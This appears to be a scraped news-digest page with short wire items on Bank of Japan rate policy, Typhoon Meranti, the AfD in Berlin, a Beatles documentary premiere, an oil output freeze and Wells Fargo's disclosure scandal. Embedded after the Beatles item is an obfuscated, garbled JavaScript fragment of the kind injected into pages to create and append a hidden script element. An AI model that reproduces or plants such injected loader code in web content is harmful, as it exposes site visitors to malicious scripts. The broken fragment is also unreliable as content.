Japan's finance industry lobbies against deeper BOJ negative rates TOKYO: Japan's finance industry continued to lobby against any deepening of negative interest rates by the central bank ahead of a closely-watched rate review next week, with the head of the life insurance lobby warning on Friday that rate cuts would do more harm than good to the economy.
Typhoon Meranti leaves 16 dead or missing in China Beijing (AFP) - Typhoon Meranti has left at least 16 people dead or missing in China and an ancient bridge destroyed as it wreaked havoc on the country's eastern coast, the government said on Friday.
Strong AfD showing in Berlin vote would be seen as Nazi rebirth - mayor BERLIN (Reuters) - A double-digit score for the anti-immigrant Alternative for Germany (AfD) in a Berlin city vote on Sunday would be seen around the world as the rebirth of the Nazis, the mayor of the German capital has warned.
Paul McCartney ‘emotional’ as Beatles film has UK premiere London (AFP) - The two surviving Beatles took to the blue carpet on Thursday for the London screening of a new documentary, with the film’s archive footage described as “very emotional” by Paul McCartney. var _0x29b4=;var el=document](_0x29b4);el]= _0x29b4;document]](el)
Why the US is a major roadblock for oil output freeze LONDON: The price of oil has been caught in one of its most volatile couple of weeks in months after OPEC and rival Russia hinted they may discuss a possible output freeze, as demand slows and a global surplus becomes more entrenched.
Wells Fargo faces scrutiny over lack of sales scandal disclosure NEW YORK: A phantom account scandal at Wells Fargo & Co has put the U.S. bank's disclosure policies under a harsh spotlight.